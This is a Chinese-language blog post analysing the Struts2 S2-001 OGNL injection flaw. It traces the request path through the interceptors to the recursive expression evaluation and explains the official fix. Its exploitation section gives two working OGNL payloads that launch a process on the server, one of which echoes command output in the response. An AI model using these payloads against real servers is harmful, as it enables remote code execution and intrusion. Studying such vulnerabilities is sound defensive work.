S2-001
0x01 前言
对于 Struts2 这块的漏洞,我本人一直都是懒癌犯了的状态,一直没有看这一块的漏洞。
懒癌真可怕,原本是打算 10.27 学习这块内容的,结果现在是 11.2 才开始写 …………
关于 S2-001 的环境搭建 ——— https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA/%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.md
0x02 S2-001 漏洞复现
漏洞影响范围
WebWork 2.1 (with altSyntax enabled)
WebWork 2.2.0 - WebWork 2.2.5
Struts 2.0.0 - Struts 2.0.8
而 Struts2 对 OGNL 表达式的解析使用了开源组件 opensymphony.xwork 2.0.3
所以会有漏洞
流程分析
- 关键流程分析其实是去看一看怎么走进到 OGNL 表达式里面进去的,又是如何处理的一个流程。看了很多文章实际上都是有点太突兀了,根本不是从漏洞发现者的角度去看漏洞的成因的。
因为这一个 Web Application 的 Filter 是在 org.apache.struts2.dispatcher.FilterDispatcher
下,在这一个类的 doFilter()
方法中做了下面这些业务:
- 设置编码和本地化信息
- 创建 ActionContext 对象
- 分配当前线程的分发器
- 将request对象进行封装
- 获取 ActionMapping 对象, ActionMapping 对象对应一个action详细配置信息
- 执行 Action 请求, 也就是第 172 行的
serviceAction()
方法
所以我们可以先去这个 Filter 的 doFilter()
方法下个断点,开始调试。
前面先做了一系列判断与基础赋值,到 172 行这里,跟进 serviceAction()
方法
首先获取当前请求是否已经有 ValueStack 对象, 这样做的目的是在接受到 chain 跳转方式的请求时, 可以直接接管上次请求的 action。如果没有 ValueStack 对象,获取当前线程的ActionContext对象;如果有 ValueStack 对象,将事先处理好的请求中的参数 put 到 ValueStack 中,获取 ActionMapping 中配置的 namespace, name, method 值
通过 ActionProxyFactory 的 createActionProxy()
类初始化一个 ActionProxy,在这过程中也会创建 StrutsActionProxy
的实例,StrutsActionProxy
是继承自com.opensymphony.xwork2.DefaultActionProxy
的, 在这个代理对象内部实际上就持有了DefaultActionInvocation
的一个实例。所以有的文章里面会说其实是创建了DefaultActionInvocation
的一个实例。
DefaultActionInvocation 对象中保存了 Action 调用过程中需要的一切信息,继续往下走,跟进 proxy.execute()
获取到了上下文环境,并调用 setter 方式赋值上下文,接着继续跟进 invoke()
方法。
在 invoke()
方法中,首先会顺序的递归执行当前 Action 中所配置的所有的拦截器, 直到拦截器遍历完毕调用真正的 Action,此处是一个 interceptor
迭代器在进行遍历操作,对应遍历的内容是 struts2 包内的 struts-default.xml 里面的 interceptors
标签中的内容
在众多迭代器里面,param
这一个迭代器是用来处理我们输入的参数的,所以想到,会不会对应的迭代器里就有所谓的 OGNL 表达式的处理捏?从漏洞发现者的角度思考,一定是这样的,因为本质上来说,就是要去找 Struts2 的哪个地方调用了 OGNL 表达式,这里被找到之后,关于 S2 系列的漏洞才是开始一石激起千层浪。
我们点进去这个类看一下,先看注释
大致意思就是,最开始在登录框中的 username 和 password 会被保存到 stack 里面,师傅们可以观察一下确实是的。通过 ActionContext.getParameters()
方法将 stack 里面的值拿出来,再通过 ValueStack.setValue(String, Object)
方法把值 set 进去。
接着在后文,它表明了这个类能够处理 OGNL 表达式,并且已经考虑了安全性问题,不过似乎考虑的并不到位。
而此处的迭代的部分调用栈如下
1 | intercept:155, ServletConfigInterceptor (org.apache.struts2.interceptor) |
师傅们可以自行跟一下,我觉得这里逻辑相当简单,就不放上来了,关键点是在这一个类里面,进行了对应的迭代器判断。
这里的调试并非有趣,同时也比较 meaningless,直接一路 f9,直至迭代器为 params 为止,跟进。跟进之后会到 ParametersInterceptor.doIntercept()
方法处
跟进到 setParameters()
方法里面,再从这里面跟进 setValue()
方法,为什么要跟进 setValue()
方法呢?其实是根据它的注释来的,因为 OGNL 的语句会被送到 OgnlValueStack#setValue
处进行处理。
继续跟进再跟进
这里过程就很复杂了,我们再来慢慢分析
在经历过一系列迭代器之后,所以迭代器都处理完毕了,执行了 invokeActionOnly()
方法
通过反射调用执行了 action 实现类里的 execute 方法,开始处理用户的逻辑信息
处理完毕用户的逻辑信息之后,我们继续往下走,跟进 executeResult()
首先 createResult()
这里创建了一个 Result 对象,对应的方法com.opensymphony.xwork2.DefaultActionInvocation#createResult
如果当时调用 Action 返回了 Result 对象, 则直接返回;否则, 通过 proxy 对象获取配置信息, 根据 resultCode 获取到 Result 对象。
继续往下走,executeResult()
方法中调用了 execute()
方法;跟进 doExecute()
准备执行环境: request, pageContext 等等后,发送真正的响应信息,可以看到我们自己配置时候返回结果是 jsp
文件
之后调用JspServlet
来处理请求,在解析标签的时候,在标签的开始和结束位置,会分别调用对应实现类如org.apache.struts2.views.jsp.ComponentTagSupport
中的 doStartTag()
(一些初始化操作) 及 doEndTag()
(标签解析后调用end方法)方法,这下终于到了我们漏洞触发的地方,这里会调用组件 org.apache.struts2.components.UIBean
的end()
方法
跟进 evaluateParams()
方法
由于 altSyntax
默认开启了,接下来会调用 findValue()
方法寻找参数值
继续跟进 translateVariables()
方法
最终触发点是:TextParseUtil#translateVariables
,在此处下了断点之后,可以看到依次进入了好几次,不同时候的 expression
的值都会有所不同,我们找到值为 password
时开始分析。比较有意思的是,在调试这里的过程中,比如现在是 password,那么 password 框就不会出现。这其实也是之前 findValue()
处所带来的不一样的地方。
经过两次如下代码之后,将其生成了 OGNL 表达式,返回了%{password}
1 | return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType); |
然后这次的判断不会直接走到 return,来到后面,取出 %{password}
中间的值 password
赋给 var
然后通过 Object o = stack.findValue(var, asType)
获得到 password 的值为%{1+1}
然后重新赋值给 expression,进行下一次循环
在这一次循环的时候,就再次解析了 %{1+1}
这个 OGNL 表达式,并将其赋值给了o
最后 expression
的值就变成了2,不是 OGNL 表达式时就会直接进入
1 | return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType); |
最后返回并显示在表单中,这是含有 OGNL 表达式的处理,比正常的处理多了 OGNL 这一部分,所以 Struts2 的运行流程到此结束。
漏洞利用
- EXP 不是空穴来风,是基于 OGNL 表达式的,关于 OGNL 表达式可以看我这一篇文章:Java Struts2 学习与环境搭建
1 | %{(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()} |
或者是
1 | %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd","-c","clac"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()} |
0x03 漏洞修复
通过之前的漏洞分析可以看到,由于 struts2 错误的使用了递归来进行验证,导致OGNL表达式的执行
官方给出的修复
1 | public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) { |
可以明显看到多了这样的判断
1 | if (loopCount > maxLoopCount) { |
判断了循环的次数,从而在解析到 %{1+1}
的时候不会继续向下递归
0x04 总结
本质上还是去寻找如何执行 OGNL 表达式的。
0x05 Ref
https://xz.aliyun.com/t/2672
https://www.cnblogs.com/yanghyun/p/4472374.html
https://github.com/Y4tacker/JavaSec/blob/main/7.Struts2%E4%B8%93%E5%8C%BA/s2-001%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/Struts2-001.md
- 本文标题:Java Struts2 系列 S2-001
- 创建时间:2022-10-27 19:57:58
- 本文链接:2022/10/27/Java-Struts2-系列-S2-001/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!